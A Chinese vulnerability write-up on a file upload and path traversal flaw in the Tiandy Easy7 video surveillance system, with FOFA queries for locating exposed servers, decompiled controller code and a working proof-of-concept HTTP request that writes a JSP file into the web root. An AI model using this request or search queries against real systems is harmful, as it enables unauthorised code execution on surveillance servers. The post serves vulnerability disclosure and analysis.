天地伟业Easy7 /Easy7/rest/file/uploadFile 文件上传漏洞


漏洞简介

天地伟业Easy7是一款用于视频监控管理的软件系统。

该系统的/Easy7/rest/file/uploadFile接口在处理文件上传时,完全信任了用户提供的文件名后缀,且未对上传文件的内容进行任何合法性校验。攻击者可以上传一个精心构造的 .jsp 脚本文件。由于程序将文件保存在 Web 目录下,且在响应中直接返回了生成的文件名,攻击者可以直接访问该脚本,从而在服务器上执行任意命令。

影响版本

fofa语法

body="/Easy7/apps/WebService/LogIn.jsp" || body="Easy7/VideoLib.EXE" || body="/Easy7/index.html" || (body="<img src=\"./images/ico/Easy7_logo_transparent.png") && title="平台"

漏洞分析

首先,该系统基于Spring 3.0,比较古老且WEB-INF/web.xml里没有配置任何filter进行权限校验,因此绝大部分接口都是可以直接访问的。

再来看本次的漏洞接口 /Easy7/rest/file/uploadFile 的对应方法uploadFile()的实现逻辑

@Controller
@RequestMapping({"/file"})
public class CLS_REST_File {
    @Resource(
        name = "boSystemInfo"
    )
    private CLS_BO_SystemInfo boSystemInfo;
    @Resource(
        name = "boFile"
    )
    private CLS_BO_File boFile;
    @Resource(
        name = "boPROXY"
    )
    private CLS_BO_PROXY boPROXY;
    private static final Log log = LogFactory.getLog(CLS_REST_File.class);

    @RequestMapping({"/uploadFile"})
    public void uploadFile(HttpServletRequest request, HttpServletResponse response, CLS_VO_File voFile) throws IOException {
        CLS_VO_Result result = new CLS_VO_Result();
        PrintWriter out = response.getWriter();
        String fileName = voFile.getFileName();
        if (fileName == null) {
            fileName = UUID.randomUUID().toString();
            voFile.setFileName(fileName);
        }

        boolean isMultipart = ServletFileUpload.isMultipartContent(request);
        if (!isMultipart) {
            result.setRet(-7);
            out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
        } else {
            FileItemFactory factory = new DiskFileItemFactory();
            ServletFileUpload upload = new ServletFileUpload(factory);
            List<FileItem> items = null;

            try {
                items = upload.parseRequest(request);
            } catch (FileUploadException e) {
                result.setRet(-7);
                out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
                e.printStackTrace();
                return;
            }

            if (items == null) {
                result.setRet(-7);
                out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
            } else {
                File realFilePath = new File(CLS_Easy7_Types.file_path);
                if (!realFilePath.exists() && !realFilePath.isDirectory()) {
                    realFilePath.mkdirs();
                }

                String newPath = "";
                Long size = null;

                for(FileItem fileItem : items) {
                    size = fileItem.getSize();
                    if (!fileItem.isFormField()) {
                        String name = fileItem.getName();
                        fileName = fileName + name.substring(name.lastIndexOf("."));
                        newPath = CLS_Easy7_Types.file_path + fileName;
                        File file = new File(newPath);

                        try {
                            fileItem.write(file);
                        } catch (Exception e) {
                            result.setRet(-7);
                            out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
                            e.printStackTrace();
                            return;
                        }
                    }
                }

                voFile.setFileSize(size);
                voFile.setFileName(fileName);
                result.setRet(0);
                result.setContent(voFile);
                out.print("<html><body><textarea>" + JSONObject.fromObject(result) + "</textarea></body></html>");
            }
        }
    }    

首先是 CLS_VO_File voFile 对象中的 fileName 属性,由于它是 Controller 方法的参数,Spring MVC 会自动将 URL 查询参数或表单字段中名为 fileName 的值绑定到该对象。其次是上传文件本身的原始文件名 fileItem.getName()。

CLS_Easy7_Types.file_path的默认位置是 /root/tiandy/docs/。

从 voFile 获取 fileName。如果攻击者在请求中构造了 ?fileName=../../webapps/ROOT/shell,那么变量 fileName 就会被赋值为这个带有路径穿越特征的字符串。

接着,程序进入文件处理循环。它通过 name.lastIndexOf(".") 找到上传文件名的最后一个点号位置。假设攻击者上传的文件名为 test.jsp,lastIndexOf(".") 的返回值是 4。

关键的逻辑在这里:fileName = fileName + name.substring(4);。

这里的 substring(4) 会截取从索引 4 开始到结尾的字符串,即 .jsp(包含点号)。此时,fileName 变成了 ../../webapps/ROOT/shell.jsp。

随后,程序执行 newPath = CLS_Easy7_Types.file_path + fileName;。已知 file_path 为 /root/tiandy/docs/,拼接后的 newPath 变成了 /root/tiandy/docs/../../webapps/ROOT/shell.jsp。

漏洞复现

POST /Easy7/rest/file/uploadFile?fileName=%2e%2e%2f%2e%2e%2f%61%70%61%63%68%65%2d%74%6f%6d%63%61%74%2d%37%2e%30%2e%37%38%2f%77%65%62%61%70%70%73%2f%45%61%73%79%37%2f%71%61%78%6e%62 HTTP/1.1
Host: easy7.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk

------WebKitFormBoundaryk
Content-Disposition: form-data; name="file"; filename="1.jsp"
Content-Type: image/png

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryk--

访问 /Easy7/qaxnb.jsp 成功执行代码并删除自身

或者直接上传到 /root/srsPath/目录

访问 /share/qaxnb.jsp 执行上传代码并删除自身


手机扫码阅读

天地伟业Easy7 /Easy7/rest/file/deleteFile 文件删除漏洞

孚盟云CRM BusinessPriceListList.aspx SQL注入漏洞

评 论